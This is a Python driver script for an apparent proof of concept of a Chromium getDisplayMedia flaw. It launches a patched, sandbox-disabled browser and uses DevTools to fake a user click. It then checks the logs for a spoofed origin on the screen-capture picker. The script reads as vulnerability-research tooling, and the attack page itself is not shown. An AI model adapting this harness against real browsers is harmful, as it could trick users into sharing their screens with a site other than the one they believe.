#!/usr/bin/env python3
"""Driver for the getDisplayMedia queued-request origin-spoof POC.

Starts the HTTP server, launches Chrome (with the compromised-renderer
injection patch applied), uses CDP to deliver a real click for user
activation, then waits for the browser-side observation log to print the
origin mismatch.
"""
import json
import os
import signal
import subprocess
import sys
import time
import urllib.request

try:
    import websocket  # pip install websocket-client
except ImportError:
    print("ERROR: websocket-client not installed. Run:")
    print("  pip3 install --user --break-system-packages websocket-client")
    sys.exit(1)

HERE = os.path.dirname(os.path.abspath(__file__))
CHROME = os.environ.get(
    "CHROME", "/chromium/chromium/src/out/asan/chrome")
DEBUG_PORT = 9222
ATTACKER_URL = "http://localhost:8765/attacker.html"
PROFILE = "/tmp/chrome-poc-profile"


def wait_for_devtools():
    for _ in range(100):
        try:
            with urllib.request.urlopen(
                    f"http://localhost:{DEBUG_PORT}/json", timeout=1) as r:
                return json.load(r)
        except Exception:
            time.sleep(0.3)
    raise RuntimeError("DevTools never came up")


def find_target(substr):
    for _ in range(100):
        try:
            with urllib.request.urlopen(
                    f"http://localhost:{DEBUG_PORT}/json", timeout=2) as r:
                targets = json.load(r)
        except Exception as e:
            time.sleep(0.3)
            continue
        for t in targets:
            if t.get("type") == "page" and substr in t.get("url", ""):
                return t
        time.sleep(0.3)
    raise RuntimeError(f"target containing {substr!r} not found")


def cdp(ws, method, params=None, _id=[0]):
    _id[0] += 1
    msg = {"id": _id[0], "method": method, "params": params or {}}
    ws.send(json.dumps(msg))
    while True:
        resp = json.loads(ws.recv())
        if resp.get("id") == _id[0]:
            return resp


def main():
    subprocess.run(["rm", "-rf", PROFILE], check=False)

    # 1) HTTP server
    server = subprocess.Popen(
        [sys.executable, os.path.join(HERE, "server.py")],
        cwd=HERE)
    time.sleep(1)
    # Sanity-check the server actually serves our file.
    try:
        with urllib.request.urlopen(ATTACKER_URL, timeout=3) as r:
            body = r.read().decode()
        if "id=\"go\"" not in body:
            print("[driver] FATAL: server not serving attacker.html "
                  f"(got {len(body)} bytes)")
            server.terminate()
            return 1
    except Exception as e:
        print("[driver] FATAL: server not reachable:", e)
        server.terminate()
        return 1

    # 2) Chrome
    chrome_cmd = [
        CHROME,
        "--ozone-platform=headless",
        "--no-sandbox",
        "--no-first-run",
        "--no-default-browser-check",
        "--disable-popup-blocking",
        "--ignore-gpu-blocklist",
        f"--user-data-dir={PROFILE}",
        f"--remote-debugging-port={DEBUG_PORT}",
        "--remote-allow-origins=*",
        "--enable-logging=stderr",
        "--v=0",
        ATTACKER_URL,
    ]
    print("[driver] launching:", " ".join(chrome_cmd))
    log_path = os.path.join(HERE, "chrome.log")
    log_f = open(log_path, "wb")
    # Unset DISPLAY: the WebRTC X11 desktop capturer otherwise issues
    # X_GetImage against the (nonexistent) X server and aborts the browser.
    env = dict(os.environ)
    env.pop("DISPLAY", None)
    chrome = subprocess.Popen(
        chrome_cmd, stdout=log_f, stderr=subprocess.STDOUT, env=env)

    try:
        # 3) Wait for the attacker page target
        wait_for_devtools()
        time.sleep(2)  # Let popup open and pages settle.
        with urllib.request.urlopen(
                f"http://localhost:{DEBUG_PORT}/json", timeout=2) as r:
            print("[driver] all targets:")
            for t in json.load(r):
                print("   ", t.get("type"), t.get("url"), t.get("id"))
        target = find_target("attacker.html")
        print("[driver] attacker target:", target["url"], target["id"])
        ws = websocket.create_connection(
            target["webSocketDebuggerUrl"], timeout=10)

        # Wait for the button to be present in the DOM.
        for _ in range(50):
            r = cdp(ws, "Runtime.evaluate", {
                "expression": "!!document.getElementById('go')",
                "returnByValue": True,
            })
            if r.get("result", {}).get("result", {}).get("value"):
                break
            time.sleep(0.2)
        else:
            print("[driver] WARNING: #go never appeared; targets may be wrong")

        # 4) Deliver a click with transient user activation via CDP.
        # Runtime.evaluate(userGesture=true) grants the same activation a
        # real click would (DevTools/WebDriver path), satisfying both the
        # renderer-side and browser-side HasTransientUserActivation checks.
        r = cdp(ws, "Runtime.evaluate", {
            "expression": "document.getElementById('go').click()",
            "userGesture": True,
        })
        print("[driver] click dispatched:", r.get("result"))
        ws.close()

        # 5) Wait for navigation + queued-picker processing.
        time.sleep(15)
    finally:
        chrome.send_signal(signal.SIGTERM)
        try:
            chrome.wait(10)
        except Exception:
            chrome.kill()
        server.kill()
        try:
            server.wait(5)
        except Exception:
            pass
        log_f.close()

    # 6) Scan log for the spoof.
    with open(log_path, "r", errors="replace") as f:
        log = f.read()

    print("\n========== relevant chrome.log lines ==========")
    for line in log.splitlines():
        if "POC[" in line or "ORIGIN SPOOF" in line:
            print(line)
    print("===============================================\n")

    if "*** ORIGIN SPOOF ***" in log:
        print("[driver] RESULT: ORIGIN SPOOF CONFIRMED")
        return 0
    if "ProcessQueuedPickerRequest showing picker" in log:
        print("[driver] RESULT: picker shown but no spoof line — "
              "check chrome.log")
        return 2
    print("[driver] RESULT: did not observe picker — check chrome.log")
    return 1


if __name__ == "__main__":
    sys.exit(main())